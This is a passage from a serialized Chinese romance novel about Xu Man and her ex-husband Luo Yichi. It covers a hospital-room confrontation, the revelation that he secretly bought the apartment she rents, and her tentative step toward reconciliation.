“骆总把这个消息传达给池柠小姐,池柠小姐答应了,还问骆总为什么提的条件那么苛刻,连她这个姐姐都不宽容一些,骆总原话我不记得,大致意思是,这样做对大家都好。签协议那天,我和骆总一起去的。骆总没走私人账户钱,让财务部用公账替池柠小姐还清了违约金,说这样分得清;因为骆氏公司经营范围不包含娱乐产业,只能开个新公司来接收池柠小姐,所以骆总配合的开了新公司。” 后来,骆亦迟为池柠偿还高额违约金的消息就传了出来。 狗仔门嗅到了八卦味道,纷纷揣测骆亦迟和池柠的关系,甚至有些行动力高的,都开始在池柠新公司门口蹲点。 当时骆亦迟的精力都放在骆氏和非洲章隆身上,偶尔还得关注关注许满怎么样了,分不出更多的精力来兼顾娱乐公司,心想有对赌协议约束着,索性就没再招其他艺人。 也怪他跟池柠后来打交道少了,对狗仔的警觉性没那么高了,当他和池柠一同出入公司的画面被爆出来时,他已经在非洲待了大半个月。 新公司的经纪人和公关脑子里只想着红,为了维持池柠热度,不仅没对绯闻做澄清,还特意煽动粉丝发了一些暧昧言论,来增加池柠的曝光。 当时池柠正值空窗期,傍上金主的绯闻就这样传播起来,沸沸扬扬的,网友和粉丝顺藤摸瓜不停往下扒,扒出他们三四年前就暧昧过,扒出池柠的寄养关系,甚至还扒出骆亦迟离过婚。 骆亦迟看到那些子虚乌有满天飞的稿子,眼都黑了,紧急拉着赵靖闻赶回国,把娱乐公司那些不着调的工作人员全给开了,同时让骆氏的法务部和公关部介入,联合出具声明,来澄清他和池柠的关系。 “池柠小姐现在的经纪人廖延,就是那时候加入公司的。”赵靖闻说。 池柠有过违约先例,除非行业内很有影响力的经纪人,否则没人敢带她。 而廖延不怕,他看中艺人价值,不在乎艺人黑料,池柠拥有美丽的外貌条件,对他来说足够了。 廖延成为池柠的经纪人之后,池柠的事业开始渐渐有了起色。 狗仔偶尔还会拿骆亦迟和池柠的旧新闻炒作,廖延一旦发现,便会及时制止。 但有一条他却不限制。 池柠压力减轻之后,抑郁症跟着也好转起来,整个人基本恢复到了以前自信明媚的样子,心情好了就交个男朋友玩,心情不好就分手,廖延每次都嘱咐她玩的时候有个限度,真玩假玩暂且不论,维持合理的曝光度才是最重要的。 赵靖闻:“廖延带艺人确实有点本事,给池柠接了不少好的剧本,池柠的违约金在他的帮助下已经提前还完了,今年她还拿了奖,依我看,对赌协议到期之前,她应该可以按时完成盈利目标。” 赵靖闻说完,打开随身电脑,把屏幕推给许满看:“作为一个合格的打工人,在对赌协议签完字的那天,我的电脑就扫描上传了一份电子档,你要看看吗?许小姐。” 第49章 第 49 章 圣人?凡人? 许满看屏幕完全是下意识举动, 当反应过来已经看到扫描件的核心内容时,才想起这好像不关她的事。 “为什么给我看?这跟我又没关系。”许满转过头, 心里飞起一丝小别扭。 “不好意思,我以为许小姐你会感兴趣。”赵靖闻挑挑眉,波澜不惊的合上电脑,“不过确实跟许小姐没关系,那不看了。” 许满不是圣人,做不到完全的宽仁大度。 赵靖闻这么做无非是想告诉她, 骆亦迟不是无缘无故在帮池柠。 但这又如何呢? 爱过就是爱过,否认不了,不能因为现在的不过界举动,那些事情就当没发生过。 “你这么卖力给骆亦迟洗白, 骆亦迟得给你涨工资才是。” 赵靖闻推推鼻梁上的无框眼睛,还是用那十分斯文温吞的口吻说:“许小姐你误会了, 一开始我就说了, 领导开心, 我们做下属的才会好过, 我这么做是为了自己。” 许满:“……” 有一种我说东, 你偏要讲西的无力感, 许满怀疑, 平时骆亦迟跟赵靖闻沟通的时候, 赵靖闻也这样吗? “那你作为下属, 还挺尽职尽责, 可惜你领导现在还睡着, 要是醒了,就算不给你涨工资,也该给你颁个奖, 把最佳员工的称号给你,才不枉费你这么多口舌。” 赵靖闻笑笑:“我们领导奖罚分明,我做得好,他自然会看见。” 可真是一点骆亦迟的坏话都不说,许满象征性的扯了下嘴角。 故事听完了,人也该走了,许满掀开窗前,浓浓夜色中,一轮残月高悬天际,马路上车流滑过,尾灯带起一片残影,映照出角落里未消融的积雪。 许满起身准备离开。 “不聊了赵秘书,我还有事,得走了。” “我送你吧许小姐。” “不用了,作为好员工,你还是陪你的病弱领导吧。” 许满手还没摸到门把手,病床上突然传出动静。 像是锈迹斑斑的机器接收到信号,终于苏醒过来,生涩的活动起不太灵活的零件和关节。 骆亦迟满脸痛苦,手捏在斜方肌上,嘴里发出闷哼声,转过头来时,视线精准锁定在许满身上。 就着趴下的姿势,他昂头,双臂撑起,试图坐起来。 赵靖闻不愧是三好员工,第一时间赶上前去帮助他坐好,还顺便拿来个软垫,小心垫在他背后。 骆亦迟眼睛在许满身上停留着:“你有没有事?” 许满保持要走的姿势,答:“我没事。” “没事就好。” 骆亦迟点点头,说话时只能用三四分力,剩下的五六分,得用来抵抗疼痛。 镇痛药效在渐渐褪去,软垫并不能缓解背部的疼痛,相反,一碰到,还会让痛苦加剧,骆亦迟只有保持某个不舒服的姿势,才能避免牵扯到脊背的钝伤。 有赵靖闻照顾他,许满能放下心来,便不打算多留,说:“你好好休息,我先回去了。” “你还会来看我吗?”骆亦迟望着她,眼神充满希冀。 “应该不……” “许小姐,麻烦你帮我照看下骆总,他还没吃饭,我去帮他买点饭。”赵靖闻打断她。 不给她任何拒绝的机会,赵靖闻已经走到门口,用那副礼貌至极的姿态和口吻说:“许小姐,骆总就暂时交给你了,我很快回来。” “……” 想什么就来什么。 许满完全可以狠下心一走了之,前提是骆亦迟是健康的,没有受伤,即使受伤,那伤跟她也没半点关系。 而良心此时出来作祟,对于因为护住自己而躺进医院的骆亦迟,许满做不到完全的坐视不理。 就是让赵靖闻买个饭而已,这点时间还是有的。 这样告诉自己,许满踌躇的收回脚步,回到了病房里。 她没去床边,就在靠窗的沙发上坐下,拉开些窗帘,望着窗外浓沉的夜色,静默不语。 她不知道该跟骆亦迟说什么,就索性不说吧。 病房里落针可闻,走廊里有人经过,推车声、脚步声、交谈声,此起彼伏的传进病房里,盖过彼此的呼吸,成为这狭小空间里唯一的声响。 推车声不知道第几次从门口经过,骆亦迟率先打破沉默,低低的开口,“谢谢你肯留下来陪我。” 许满说:“你帮过我爸,又因为我受伤,我陪你是应该的,不用说谢谢。” 骆亦迟想换个姿势,双臂撑起挪动了一下屁股,牵扯到脊背肌肉,突然嘶的一声,蹙眉倒抽了口气。 许终于转过头看他,“你做什么?” 骆亦迟手探向床头柜的水杯,“想喝口水。” “你别乱动,我给你拿。” 骆亦迟听话的坐着不动,等许满过来,将水递给他。 “谢谢,谢谢你关心我。” 他双手捧着水杯,无比珍惜的,像是捧着一颗融化的心。 “如果这样想你会开心,那就这样想吧。”许满的表情和语调没任何变化。 骆亦迟咕咚咕咚喝完水,水杯见底,许满问:“还喝吗?” “不喝了。” 空杯子放下,许满转身再次回沙发上坐着。 骆亦迟跟个委屈小狗似的,眼巴巴望着她,小声的说:“你能坐的离我近一点吗?” “要多近?” 病床边有椅子,许满视线掠过,想了想,起身换到了椅子上。 “是不是很早就醒了?” 她跟骆亦迟没有话聊,绞尽脑汁,只想到这一个话题。 其实很早就醒了,骆亦迟不敢说实话,将刚才听到的记忆在脑子里捋了一遍,挑了个自认为安全不会踩雷的节点,“你说让我给赵靖闻颁奖开始。” “醒了怎么不吭声?” “想听听你们在聊什么。” “那你听到了,你秘书很维护你,一句你的坏话都没讲。” “嗯,回去我就给他颁奖,年底奖金也给他多发。” “嗯。” 说完,又陷入沉默。 时间在流逝,寂静在蔓延。 两人都不约而同的达成了一种木头人游戏的诡异默契。 可哪怕就是这样安静的相处,骆亦迟也觉得得到了慰藉,舒心得很。 这是他从离婚那一日起,就一点一滴铺垫到现在,是赵靖闻费尽心思帮他说好话,才好不容易换来的成果,他格外的珍惜。 走廊里再度传来杂音,推车滚滚而过,骆亦迟内心浮沉半晌,尝试挑起话题。 “你……” 突然,一阵清脆的手机铃声响起。 放在床头柜上的手机跳出来电界面,一个大大的名字出现在上面。 ——池柠。 骆亦迟蓦地一惊,瞳孔收缩,心跳加快,眼神闪躲瞟向许满。 许满帮骆亦迟拿起手机,视线扫过那两个字,垂眸,送到骆亦迟面前。 她的语调听起来再正常不过:“找你的,接吧。” 骆亦迟极力想从她脸上分辨出些什么,但许满那完美的面容上,端的是沉静和柔和,他看破眼睛,也看不出有丝毫裂隙。 许满不在意,这是他从许满脸上得到的答案。 骆亦迟手心冒汗,内心不可避免的掀起波澜。 他好不容易才换来许满片刻的停留,难道要因为这个来电,让所有的努力都化为乌有吗? 许满放下手机,转身。 骆亦迟叫住她:“你要出去吗?” “嗯,不打扰你接电话。” “你不用出去。” 骆亦迟果断按下接听,打开免提。 他要向许满证明,你看,我和她什么事都没有,你不需要避讳。 于是许满便站着没动。 池柠紧张的声音通过扩音器传出来。 “小迟你怎么样了?” “我很好,没有大碍。” “那许满呢?我没她联系方式,她怎么样?” “她也没事。” “那就好那就好……”池柠的声音放松下来些,又接着说,“赵秘书不让我去看你,我到医院了也不敢走,问了值班医生护士,他们都不告诉我你在哪间病房,刚才碰到他从住院部出来,一问你醒了,这才敢跟你打电话……” 骆亦迟听着池柠的絮叨,眼睛却从未离开过许满分毫。 “池柠,还有别的事吗?” “哦哦,没了。” “没了那就挂了。” “等等,小迟,我还有一个问题……”池柠吞吞吐吐,问的很小心。 “你问。” 扩音器里传来池柠斟酌的嗓音:“这几年你刻意疏远我,是因为许满吗?” “嗯。”骆亦迟不否认。 “怪不得你让我珍惜眼前人……” 池柠慢慢的往下说:“小迟,你们被救护车拉走后我想了很久,你和许满的悲剧确实有我的责任,我无意破坏你们的婚姻,如果……如果你再见到许满,请替我跟她说声抱歉。对不起,我不知道她那么介意我的存在,……我以后,我以后会尽量不出现在她面前。” “好了,我说的就这些,小迟你好好养伤。” 电话挂断,骆亦迟放下手机,“我们说完了。” 许满背影笔直,骆亦迟正等她开口,却见她从口袋掏出嗡嗡震动的手机,看了一眼,将屏幕扣向自己,“我出去接个电话。” 骆亦迟视力绝佳,隔了两米,竟然还能清清楚楚的看清屏幕上一晃而过的那个名字。 “哦……” 不同于许满的完美面容,他的眼睛被刺痛,但脸上还得竭力维持着正常的表情,装作若无其事,目送许满匆匆走出病房。 许满找了个安静的地方才接起电话。 梁桓宇在那边抱怨:“老师你在忙吗?怎么这么久久才接?” 许满不答,直接问:“什么事?” “哦,老师你给我的选题方向我都看过了,我选了个发挥了一下,讲给你听听,你帮我看看行不行?” 许满没空听梁桓宇啰嗦,“你要不写下来发我?我有时间了再帮你看。” “啊?写下来多浪费时间,万一不行,岂不是白写了?我先跟你讲讲思路,如果不行我还能趁早换。” “你写出来,我才能找出问题所在啊。” “那我说出来,你就不能找问题了吗?” “……我不是这个意思。” “老师你就听听,顺便帮我指点指点,好嘛老师?” “……” 许满寻思赵靖闻都去了半个小时了,应该快回来了,骆亦迟应该不至于等太久,就说:“那好吧,你挑重点说哦。” “好的好的!” 梁桓宇洋洋洒洒说起来,许满有针对性的给出建议,一来二去的,二十分钟过去了。 “哎哟老师,你说的那些,我好像懂了,又好像没懂。” “没懂就对了,你要是懂了,那论文还需要你写?你先拿我们讨论过的给你导师看,我说的那几点你应该记住了,你导师确定没问题,你就可以开始写了。” “哦哦,好的。” “还有什么没?没什么我挂了。” “啊老师,你很急吗?从刚才就一直在催我。” 许满一愣,这么明显吗? 潜意识否认,许满说:“我要是有急事?还在这里跟你聊二十分钟?挂了。” 掐断电话,返回病房,赵靖闻没在。 骆亦迟保持她离开的姿势靠坐在床头,许满推门进来,他微阖的眼睛缓缓睁开,眸中亮起一抹光。 “怎么去了这么久?” “有点事。”许满没说那么详细,眼睛环视房间,没见到赵靖闻的影子,“赵秘书还没回来吗?” “没有。” “给赵秘书打个电话吧,问问他什么时候回来,时间不早了,我该走了。” 骆亦迟眼里的光肉眼可见的暗下去:“是他叫你回去吗?” “他?” “我刚才看见了,是他给你打的电话。” 许满反应过来说的是谁,有些惊讶,没想到自己刻意的遮挡还是让骆亦迟给看见了。 既然知道了,那就不避讳了,“嗯,是他打的。” 但那又如何呢?行他跟池柠以前搞暧昧,就不行让她跟异性来往了吗? 骆亦迟头微低,视线落在许满脚尖,好半天,勇气才找回来,说:“你们不是分手了吗?” “分手?谁跟你说的?江淮?” 骆亦迟默认。 许满:“在回答你的问题之前,你先告诉我,你现在是以什么身份,什么立场来问的?” 仿佛一把尖刀捅进心脏,血液从中喷涌流出,骆亦迟怔住,半晌,说不上话来。 许满并不逼迫他回答,只是很平静的向他阐述一个事实,“你只是我的前夫而已,前这个字,你应该明白是什么意思吧?” 骆亦迟握指缓缓成拳,浑身上下透出股满满的无力感。 “前夫?我永远摆脱不了这个前缀了是吗?” “前不前,对你来说很重要吗?骆亦迟,我明白你刚才当着我的面接听池柠的电话,是想告诉我什么,我说不出我心里没波动这样虚假的话,实话说,自从我看到你在尽力弥补之后,我就陷入了无尽的矛盾之中,我的心不是水泥浇的,我会动容,可是感情,它不是你想怎样就能怎样的。我的心很小,一次只能装得下一个人,装了别人,就装不进你了。其实我觉得我们现在这样挺好的,各自有各自的生活,各自朝着各自的方向努力,我很珍惜当下的日子,我们……我和你,都是彼此的旧人,既然是旧人,那就各自向前,不要一直留恋过去了,好吗?” 骆亦迟眼睫颤动,许满是想告诉她,她已经走出来了,只有他自己困在过去,画地为牢给自己宣判无期,是这样吗? 睛闭了闭,再睁开,骆亦迟眸光暗淡如一潭死水,“不管我怎样做,你都不可能再看向我是吗?” 许满叹道:“要我说多少遍你才能明白呢?” 有些事情可以原谅,但不代表没有发生。 刺拔出来了,洞还在,留下个丑陋的伤口,因为置之不理,时间久了,发炎发脓,流出恶臭的血来。 她是个凡人,普普通通,会爱会恨,会哭会笑,过去的那些不愉快,它就是发生了,在她身心都留下不能磨灭的伤痕,她无法跟那段过去和解,无法让自己不计前嫌,痛快放下。 既然放不下,那就干脆不去回看,连带和过去有关的人,一并放在身后,尘封起来,不好吗? 她想向前,这是她眼下唯一的希求,骆亦迟怎么就看不明白呢? 骆亦迟正烦躁的抓着头发。 他又要回想那天在湿地公园,许满到底给了他怎样的答案。 那个答案对他很重要,关乎他能不能从过去走出来,能不能让许满接受他,可是,怎么就想不起来? 又头疼了,每次只要用力去想,就会头疼。 这颗脑袋真是没用,除了会长头发,一点关键信息都不能提供。 他垂下手,蓦地抬头,眼中亮起一抹希冀,声音几乎是从喉咙里飘出来,“如果我说,我愿意做你的情人呢?” 许满惊呆:“……你说什么?” 骆亦迟坚定的说:“我只是想争取一点和你在一起的机会而已,我是认真的。” 何必执着到这种地步? 和她在一起真的就那么重要? “我不会答应的。” 许满穿好外套,拎起包。 她不敢再待下去,这一个小时,已经是看在赵靖闻面子上,她能做到的极限,怕再多待下去,又会像昨晚一晚心软。 “别胡思乱想了,赶紧给赵靖闻打电话,让他回来。” 骆亦迟盯着她的背影,知道自己无论怎样,今晚都留不住她了,不顾脊背的疼痛扑到床边。 许满闻声驻足,回头却见骆亦迟以一种卑微的姿态探着身子,仿佛一个迷失的孩童,正目光无助的望向她,哀求她把他带走一样。 他说:“今天是你的生日,对不起,又惹你不开心了。” 许满狠心撤回目光,“没关系,生日不生日的,对我来说没那么重要。” 然后拉开门,头也不回的走了。 第50章 第 50 章 不像生气,更像茫然。…… 许满决定找林逸求证是在第二天早上的时候。 她和骆亦迟的离婚协议一直放在流云湾家中的卧室里, 从婚姻登记处带回来到现在,一次都没翻开过。 更遑论那上面的签名到底是怎样的。 当初匆匆一瞥, 她只确认有签名在,至于细节,鬼才注意。 可是今天赵靖闻突然告诉她那签名是假的,骆亦迟压根没签,是杜曼玲帮他签的! 那协议内容呢,难道也是杜曼玲的意思? 怎么可能! 这么儿戏吗! 这可是离婚!! 许满躺在床上翻来覆去, 无法控制自己不纠结这件事,越想头脑越清醒,越觉得太过匪夷所思,超出正常接受范围, 恨不得现在就赶回流云湾翻出那份离婚协议,看看上面的笔迹和内容到底是怎样的! 好不容易熬到第二天早上, 许满可以说是掐着九点钟的上班时间, 给林逸打去了电话。 她并不确定已经过去六年, 林逸换电话号码没, 还记不记得她, 抱着试一试的态度拨下号码, 很快, 那边接了, 一个清冷的女性嗓音说:“喂?” 是林逸的声音。 或许是等待印证的过程太过煎熬, 许满脑袋里出现一瞬间的空白, 组织好的语言散成不同的词组, 定了定神,才把那些字捞回来重新组织成开场白,“你好, 林律师,打扰了,我是许满,六年前一个夏天,你帮我处理过我的离婚案。” 怕林逸不记得,许满还特意强调,“我前夫叫骆亦迟,当时修改过离婚协议,我净身出户的。” 再多的细节,许满就不记得了。 似在搜索记忆,对面沉默了两秒钟,才传出林逸冷静的声音,“您好,许女士,有什么事吗?” 许满松一口气,林逸这是记起来了。 “林律师,我有个问题,当初我前夫提供的那份离婚协议,是当着你的面签字的吗?” “不是。” 事情虽然过去那么久了,但林逸还有印象,回忆着说:“那天早上,是骆太太带着她的律师来律所,将他们拟的离婚协议给了我,强调他们只认自己的离婚协议,只在自己的离婚协议书上签字。” 许满咬着下嘴唇:“那天,你没见到我前夫吗?” “自始至终你前夫都没露面,我和他只通过几次电话。” 林逸顿了顿,“许女士,是出现什么问题了吗?需要再次提供帮助吗?” 是的,出问题了,很大的问题。 许满脑子里乱糟糟的,所有的事情都繁杂交缠在一起,打成无数个结,仔细一看,那些结上全是她和骆亦迟纠缠不清的过往,理都理不出个头绪来。 “没有,林律师,我就是问问,谢谢你帮我解答。”. 冬雪过后,学期末紧跟着来临。 许满的生活几乎被工作填满,没空再去深究签名真假这件事。 课题要开展,研究生要带,本科生期末考试得安排,下学期工作计划得提前梳理,学校的元旦汇演实在没精力参加,许满找各种理由躲掉了教师大合唱,但其他学院的监考任务躲不过,他们这些年轻教师,只要还有一点空闲,无一例外全都被拉去做了监考。 这天轮到去商学院做监考,许满在考场端坐了两个小时,结束铃一响,收齐考卷往办公室送去,碰到了江淮。 许满这两天正找他呢,没想到就给碰上了,登时来了劲儿,卷子一交,大步来到他跟前,把他往椅子上一按,说:“房东先生,没看到给你发的微信,怎么一直不来处理租客的困难呢?我房租还交着呢,热水器出故障这事儿你是不准备管了是吗?” 前天晚上热水器出了故障,洗澡时总是反复打火熄火,冷热水交替,不能正常洗澡。 许满去找原因没找到,便连夜叫了维修师傅来修,谁知维修师傅一看那热水器,摊手道:“这定制的,内部出故障了,不敢乱修,你找房东解决吧。” 许满傻眼了,不懂有钱人的脑回路,是钱太多了没地方花吗,一个热水器而已,能洗澡不就行了,还搞定制?就去问江淮怎么弄。 江淮微信上答应得好好的,“好的好的给你换”,人却一直没上门。 许满被迫无奈,只能自己用水壶烧水洗澡将就。 将就完许满照样催,江淮还推脱,“明天,明天一定给你修。” 那边江淮也是为难,实在不是他不上门,而是他难啊,不敢不经过骆亦迟允许,私自上门。 他虽然收着房租,但却不是房东,他把热水器的问题反映给了真房东,真房东本人让他立刻去给许满解决,这不,千挑万选了两天,已经买好了新的热水器了,就等给租客换上了。 现在假房东正被许满按着,不敢动,只敢耍嘴皮子,“管,管,怎么可能不管,许老师我今儿带了工具呢,就在车里,也叫了师傅,这不是考试周没空吗?今天学生考完,终于有空了,一会儿忙完咱就去修!” 谁都不敢保证一会儿是多久,许满好不容易逮到人,可不能轻易让他给跑了。 “江老师,别一会儿了,正好我现在下班了,咱要不现在就去?” “现在啊。”江淮眼珠子一转,“你让我先打个电话去。” 江淮立马出去打电话征询骆亦迟意见,得到准许之后,才放心的跟许满一起去修热水器。 本以为只是简单的维修,没想到江淮简单粗暴,直接把旧的热水器拆了,给换了个新的上去。 许满目瞪口呆,江淮说:“我不会修啊,只能找师傅给拆了。” 拆完还让师傅给他运自己家里去。 弄好之后江淮又说:“我出去打个电话。” 江淮去打电话,许满让在洗手间清理垃圾,清理完放到门口,正好听见江淮讲电话。 许满无意偷听,但江淮字里话间都透着一股做贼心虚的意味,许满不由就多听了两句。 “兄弟你听我解释,我没有昨天不来,实在是昨天太忙了没空来,学期末了考试多,白天没时间,晚上来你又不放心我不是吗?” “修好了修好了,给换了个新的,老贵了,许老师一个月转我1800,我一分没贪全给花热水器上了,你要是不放心你自己来看。” “好好好,我马上走,真是服了你,明明是你自己的房子了你还天天偷鸡摸狗的。” “许老师啊,许老师正打扫卫生呢。” 挂断电话,江淮正吁气呢,冷不丁背后许满说:“你给谁打电话呢?” 江淮“哎呦”一声,吓得站直了身子,拍着胸口转过来:“你吓死我了许老师。” 不做亏心事,不怕鬼敲门。 许满环臂抱胸靠在门边,昂着头,一双眼透过半掀的眼皮,冷冷的注视着江淮。 “骆亦迟?”许满早有了答案。 江淮被盯得心虚,嘿嘿赔笑道:“许老师你听见啦嘿嘿嘿……他也是关心你,你能理解的是不嘿嘿嘿?” “热水器坏了这事儿,他隔那么老远都知道啦,你俩还真是无话不谈,亲兄弟都比不上你俩亲。” “那还是比不上亲兄弟的。” 江淮堆着一张假意十足的笑脸,进屋拿东西准备撤离,“热水器给您换好了,我可以走了吧哈哈?” 许满脚横在门槛上,不让他进去,“还不能,我还有个问题,得江老师你给解释明白才行。” 江淮洗耳恭听。 许满说:“什么叫明明是你自己的房子你还天天偷鸡摸狗?” 江淮:“……” 许满:“这房子难道不是江老师的?” 江淮:“…………” 许满:“我这人有个习惯,喜欢打破砂锅问到底,不然夜里睡不好觉,江老师你要是行得正,麻烦把房产证拿来给我看看,不然这房子我住的不踏实,以后不敢续租了。” 江淮:“………………” 江淮遇上了今生最棘手的一件事儿,脑袋极速运转,思考该如何应对。 “呃……许老师,你先让我进去,房产证在包里,我进去了就拿给你看。” 许满看向客厅沙发上那个包,“那个黑色的包吧?你不是从办公室里装了一沓考卷吗?那里面有房产证?你装考卷的时候我没看见呐,在夹层里?江老师你是天天把房产证带身上吗?” 江淮硬着头皮胡说八道:“是啊,许老师你想不到吧,我这人有个爱好,动不动就从包里掏出来房产证炫耀。” 许满就差翻白眼了,这胡话只有傻子才信,转身折回沙发边去拿包,江淮趁她不注意钻进去,在许满摸到包前一秒,滚到沙发里猛地抱住了自己的包。 许满并不是真要翻她的包,依旧抱臂站在江淮跟前,居高临下冷眼看他,跟他打心理战。 一秒,两秒…… 十秒过去。 江淮败下阵来,哭丧着脸求饶:“呜呜呜许老师你饶了我吧,我没带房产证,等我回去再给你拍好不?” 许满勾起唇角,“是拍你的房产证,还是拍骆亦迟的房产证?” 江淮装傻:“你想看哪个,我就给你拍哪个。” 许满:“那就拍这所房子的吧。” 江淮:“……” 房子到底是谁的,十有八九捂不住了。 江淮真恨不得扇自己的嘴,好好的打什么电话,看吧,说漏嘴了吧? 江淮的底气逐渐流失,磕磕巴巴的说:“啊许老师,这房子它……我得问问骆亦迟,看他给不给我拍……不过应该不用问,你要看,他还能不给你看吗?是吧许老师哈哈哈哈……” 果然被骗了,许满脸色渐渐变得难看。 江淮见机忙安抚:“你别变脸啊许老师,你听我说,这事儿吧,它一开始不是这样的,它一开始确实是我的房子,嗐,准确的说,是你租的时候,那确确实实还是我的房子。” “那什么时候不是的?” “就那天他找过你之后,就不是了。” “哪天?” “你扇他脸那天。” 江淮不愧是好朋友,到现在还记得帮骆亦迟说好话,“他没恶意,不让我告诉你,就是想让你住得安心。租房市场鱼龙混杂,上哪儿找这么便宜的房子?你看1800还不是按照你的底价来的?这小区哪儿有1800的房子,地下室都2000了!你要是跟我签,还得2600呢,你住这儿又便宜又放心,不挺好吗许老师。” 许满紧抿着唇,又陷入了无尽的矛盾之中,脑子里那团乱麻不仅没解开,还又多了几个结出来。 她说不上来这是一种怎样的心情,不讨厌,不排斥,不感动,也不惊喜。 但心里就不是个滋味。 那天她被烫伤,骆亦迟开车送她回来,轻车熟路的开到地下车库,停在离家最近的电梯旁,她就应该发现的。 当时脑子里装了太多事,没空注意这些细节,现在仔细一想,骆亦迟那认路的架势,比她这个常住人口都熟悉,一看就没少去过地下车库。 恐怕在她不知道的时候还来过不少次了。 她竟然直到今天才从江淮口中知道。 “你和他还瞒着我什么?” “没了。” 江淮思索,是没了吧?没了!他跟骆亦迟又不是亲兄弟,他哪儿会知道他那么多事,他就只知道这么点!就算有其他的,他现在也想不起来! “没了?行,那江老师你走吧。” 江淮疑神疑鬼的打量许满,没想到这么轻松就过关了,莫名觉得虚虚的,很不踏实。 再看许满神情,不知道什么时候已经恢复正常,但细看却浮着一股捉摸不透的情绪,不像是生气,倒像是茫然。 “怎么了许老师?” “没什么。” 许满低头避开目光,坐到沙发上。 江淮拿上自己的东西,“那我走了,许老师。” “嗯。” 门关上,房子里又成了许满一个人。 独居的时候如果不开电视,房间里就显得格外安静。 许满被这样环境包裹,静静的,对着茶几上那一小盆仙人掌发呆。 环抱仙人掌的鹅卵石上放着一颗树脂小球,是那次在湿地公园,骆亦迟晕倒之后,她从骆亦迟口袋里掏走的。 她也不知道自己为什么这样做,当时想法冒上来,想都没想就行动了。 骆亦迟来给她过生日那天,她把它拿进了卧室,骆亦迟走后,她才敢把它重新放回盆栽里。 许满捏起那颗小球,举在灯下漫无目的的看,上面有几道磨损的痕迹,深深浅浅,交错纵横,跟她心上经年累月留下的伤疤如出一辙。 忽然就想起它的主人来。 原来早在重新进入这座城市开始,骆亦迟就用一种意想不到的方式参与进她的生活,不给她任何反击机会,蛮横的渗进她的点点滴滴里。 即使分开了这么多年,他们的生活还是会相交,会重合。 本就是两条平行线,骆亦迟偏要用蛮力将他们拉近,她以为自己招架得住,但对方却早就做好了防备,就等她发现的时候,给她的心理防线最后一击。 她不经意回想起最近一次见到骆亦迟的模样,无助,可怜,像个无家可归的小孩,叫住她,小心翼翼的跟她说对不起。 她很想说,没那么多歉需要跟她道,她又没怪他。 是的,她没怪他。 她怪过他很多次,但这次过生日,她真的没怪他。 他怎么样了?出院了吗?回家了吗?还是又去工作了? 她不知道,无从问起,因为她没有骆亦迟的任何联系方式。 许满觉得难受,心头卡着一口气,不上不下的,咽不下去也吐不出来。 她走到窗边,打开窗户透气,冬夜冷风拂过面颊,冷气灌进肺腑,卡在心口的那口浊气经过洗涤,逐渐变得清澈。 视线不经意掠过楼下,正对着窗户路灯下的那个人,蓦地闯入视野。 依然是那杆路灯,依然是黑色的大衣,依然站得笔直,依然静静眺望着她窗户的方向。 孤寂的模样与雪夜那晚别无二致。 许满的心重重一跳,心想这人到底什么癖好,就喜欢跟路灯类比,一起站桩是吗?大冬天的,也不想想自己现在的身体吃不吃得消。 顾不得多想,她关上窗户拉严窗帘,将那颗小球重新埋进鹅卵石里,跑下了楼。 冬夜寒凉,许满一路小跑,迈进路灯笼罩的昏黄光芒下,气喘吁吁的仰起脸,很严肃的问面前的男人:“不冷吗?又来站桩,今天可不是什么节日。” 骆亦迟视线微垂,似是还没反应过来看到了谁。 他没考虑那么多,来这里是习惯使然,只有看着许满那扇窗户到点熄灯,他才会安心,才觉得这一天没有白过。 “不冷,刚来。”他说。 骆亦迟的手垂在身边,许满轻轻碰了下,温的,不冷,说明站在这里的时间不长。 “背好了?” “好了。” “来这里干什么?” “看你。” “看够了没有?” “没有。” 这么冲动跑下来,许满并没有准备好说什么,是问他为什么把江淮的房子买了,还是问他为什么不去自己家里坐坐? 但不管哪个问题,她都无比清楚的知道答案是什么。 没有她的允许,他不敢罢了。 “骆亦迟,这周末我放寒假。”许满缩缩脖子,把脸埋进高领毛衣里。 头顶的光破开黑暗,她和骆亦迟置身其中,光外的一切都与他们无关。 寒风从两人之间穿过,呼呼的,像时光河流在缓缓流淌。 许满心底忽地冒出一个冲动,她想,既然无法原谅过去,那如果,试着与过去和解呢? 试对了,就给彼此一个机会,试错了,就及时撤回。 既然要向前看,就不能止步不前,不是吗? “嗯,你放假我就不来了。”骆亦迟回过神,以为她在说这个,往后退了几厘米,靠在灯杆上。 许满望着他的脚尖,“我的行李很多,你送我回家吧。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 50-56 第51章 第 51 章 “别想在我家睡。”…… “嗯?” 骆亦迟抬起眼, 眸光失神,不确信自己听到了什么。 他身处深渊的地底, 浓雾将周遭的一切包裹,辨不清方向,也没人帮他指引,只能徘徊在原地,独自摸索出口的方向在哪里。 可是忽然从天而降一盏灯,破开混沌迷雾, 远远地唤了他一声,他望过去,看到一个模糊的影子,凝神定睛去辨认, 是灯的主人许满站在那里,正朝他伸出手来。 他迫不及待想搭住那只手。 如果没听错, 这是他和许满重逢以来, 许满第一次主动告知他行踪。 这好像意味着什么, 他不确定, 想再确认一遍。 “你说……什么?” 许满话说出口后就有些后悔, 她把头抬起来些, 并不直视骆亦迟的面孔, 而是将目光放在他的胸口, 用很轻的声音说:“你没听见吗?那当我没说。” 然后转身就走。 “许满。” 骆亦迟拽住她衣袖, 轻轻的, 不敢用力, 怕一用力,眼前的人就会收回这一次小小的施舍。 许满停下来,“只是让你送我回趟家, 别多想。” “我……”骆亦迟觉得很不真实,一颗心像是悬在空中,漂浮着,摇摇晃晃的,落不到地上。 哪怕只是送许满回家这样一件寻常至极的小事,对他来说,都是之前从未有过的设想,更何况这还是许满主动要求的。 “好,几点,我准时到。” 他把心拽下来,攥在手里,努力找回踏实的感觉。 “周六早上八点吧。” “好。” 许满转过身来,看向他眼睛,那里,呆滞的目光正在缓缓聚焦。 “天冷,早点回去,别在这儿冻感冒了,妨害周六完不成任务。” “嗯,我马上走。” 骆亦迟这样说,腿却没有挪动分毫。 许满说完跑开了,回到家,心跳得咚咚的,手用力按在上面,久久不能平静。 她走到窗边,勾起窗帘边,挑开一条小小的缝隙往外看。 骆亦迟还站在路灯下,仰头朝向她这边。 似乎估摸着她已经到家,他才恋恋不舍的收回目光,踏进黑暗里,一步一步,消失成很小的一点,直至与夜色完全融为一体。 许满不知道接下来面对的结果是好是坏,她只能祈祷,但愿吧,但愿今晚这一步没有迈错,但愿这么久的等待,都是值得. 忙碌的考试周过后,终于迎来学期末最后一天。 许满早早地把学生期末成绩上传到教务系统,开开心心放假了。 周六一大早,天还没亮她就醒了。 